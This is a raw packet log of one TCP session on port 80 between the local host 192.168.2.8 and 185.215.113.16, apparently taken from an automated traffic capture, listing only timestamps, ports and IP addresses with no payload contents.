Oct 22, 2024 19:25:12.465198040 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465208054 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465218067 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465219021 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465226889 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465229034 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465238094 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465249062 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465255022 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465265036 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465270996 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465289116 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465290070 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465301037 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465313911 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465322018 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465336084 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465336084 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465336084 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465348005 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465358973 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465363979 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465370893 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465379000 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465384007 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465389013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465399981 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465399981 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465409994 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465410948 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465426922 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465450048 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465460062 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465470076 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465478897 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465501070 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465511084 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465534925 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465547085 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465557098 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465568066 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465570927 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465578079 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465590954 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465600014 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465610027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465615988 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465619087 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465627909 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465652943 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465653896 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465666056 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465682030 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465689898 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465692997 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465703011 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465713024 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465723991 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465744019 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465909958 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465953112 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.465960979 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465974092 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465995073 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.465997934 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466007948 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466011047 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466027021 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466037989 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466038942 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466059923 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466069937 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466114998 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466126919 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466137886 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466149092 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466156006 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466161013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466171980 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466178894 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466181040 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466200113 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466213942 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466218948 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466228962 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466238976 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466248989 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466254950 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466260910 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466272116 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466274977 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466284990 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466295004 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466298103 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466306925 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466329098 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466367960 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466377974 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466387033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466398001 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466406107 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466408968 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466420889 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.466424942 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466445923 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.466455936 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730145931 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730165005 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730226994 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730226994 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730385065 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730402946 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730423927 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730431080 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730434895 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730449915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730456114 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730463982 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730465889 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730479956 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730489016 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730523109 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730529070 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730566978 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730676889 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730700970 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730710983 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730721951 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730722904 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730734110 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730751038 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730762959 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730825901 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730878115 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730879068 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730890989 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730921984 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730932951 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.730952024 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730966091 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.730997086 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731020927 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731199026 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731213093 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731241941 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731251955 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731267929 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731281042 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731301069 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731306076 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731323957 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731332064 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731338024 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731344938 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731348991 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731362104 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731365919 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731369972 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731389046 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731395960 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731419086 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731431007 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731442928 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731456041 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731461048 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731467962 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731481075 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731482983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731508970 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731523037 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731597900 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731615067 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731626034 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731637955 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731638908 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731648922 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731648922 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731661081 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731666088 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731676102 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731678963 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731687069 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731699944 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731702089 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731719971 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731724024 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731731892 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731743097 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731744051 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731755018 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731765985 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731767893 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731777906 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731789112 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731791019 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731800079 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731801033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731827974 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731848001 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731875896 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731888056 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731899023 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731913090 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731914043 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731924057 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731924057 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731935024 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731939077 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731945992 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731956959 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731957912 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731970072 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.731971979 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.731982946 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732001066 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732007027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732008934 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732017994 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732028961 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732038975 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732045889 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732050896 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732063055 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732064009 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732084990 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732089043 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732096910 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732101917 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732108116 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732120991 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732126951 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732131004 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732142925 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732146025 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732153893 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732167006 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732168913 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732176065 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732204914 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732230902 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732243061 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732254028 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732264996 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732268095 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732276917 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732285976 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732289076 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732300043 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732325077 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732366085 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732378006 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732387066 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732398033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732403994 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732419014 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732422113 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732429981 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732445955 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732446909 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732459068 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732464075 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732469082 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732480049 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732486963 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732491016 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732501984 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732507944 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732513905 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732525110 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732532978 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732537031 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732542992 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732548952 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732558966 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732563972 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732573986 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732582092 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732587099 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732594013 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732599020 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732610941 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732610941 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732645035 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732826948 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732839108 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732848883 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732861042 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732867002 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732872009 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732887983 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732889891 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732899904 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732911110 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732911110 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732923031 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732933998 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732944012 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732947111 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732954979 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732966900 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732968092 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732976913 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732985020 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.732988119 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.732997894 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.733000994 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733012915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733020067 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.733025074 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733030081 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733041048 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.733041048 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733052969 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733066082 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733071089 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.733077049 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733081102 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.733089924 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733098984 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733104944 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.733109951 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733120918 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733131886 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.733134031 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733139992 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.733165979 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.733175993 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.733352900 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733365059 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733375072 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733382940 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.733392954 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.733409882 CEST	80	49725	185.215.113.16	192.168.2.8
